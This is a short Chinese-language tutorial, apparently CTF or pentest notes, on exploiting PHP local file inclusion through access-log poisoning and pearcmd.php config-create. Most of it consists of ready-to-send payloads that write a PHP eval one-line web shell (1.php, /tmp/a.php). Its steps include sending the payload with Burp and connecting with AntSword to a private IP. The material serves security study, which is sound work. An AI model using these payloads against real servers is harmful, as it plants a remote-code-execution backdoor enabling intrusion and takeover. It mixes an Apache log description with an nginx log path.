[TOC]
|
日志文件包含利用
前置知识:
Apache服务器运行后会生成两个日志文件,这两个文件是access.log(访问日志)和error.log(错误日志),apache的日志文件记录下我们的操作,并且写到访问日志文件access.log之中。
注意:因为浏览器会将url中的一些字符进行urlencode编码,为了不让记录到access.log中的内容被编码,要用bp抓包写入payload并发送。
以上面提到的漏洞代码为例,假设漏洞文件为exp.php:
payload
/$fp=fopen('1.php','w');fputs($fp,'<?php @eval($_POST[1])?>'); |
bp发送上面payload,然后访问exp.php?file=/var/log/nginx/access.log,便会在exp.php同目录下生成1.php文件,其内含我们写入的马,蚁剑连接http://192.168.1.9/exp.php?file=1.php即可。
pearcmd.php的利用
注意:
- 该攻击方法的前提是php开启了register_argc_argv。
- Docker中pearcmd.php的默认在/usr/local/lib/php/路径下。
pear命令有一个参数是config-create,而这个命令又需要传入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中。
同样以上面的漏洞代码为例,还是要用bp,不过这次注意要在把包给到Repeater前修改参数。
+config-create+/&file=/usr/local/lib/php/pearcmd.php&<?=@eval($_POST[1])?>+/tmp/a.php |
参考文章:
【文件包含漏洞】——文件包含漏洞进阶_日志文件包含利用_文件包含漏洞 apache日志-CSDN博客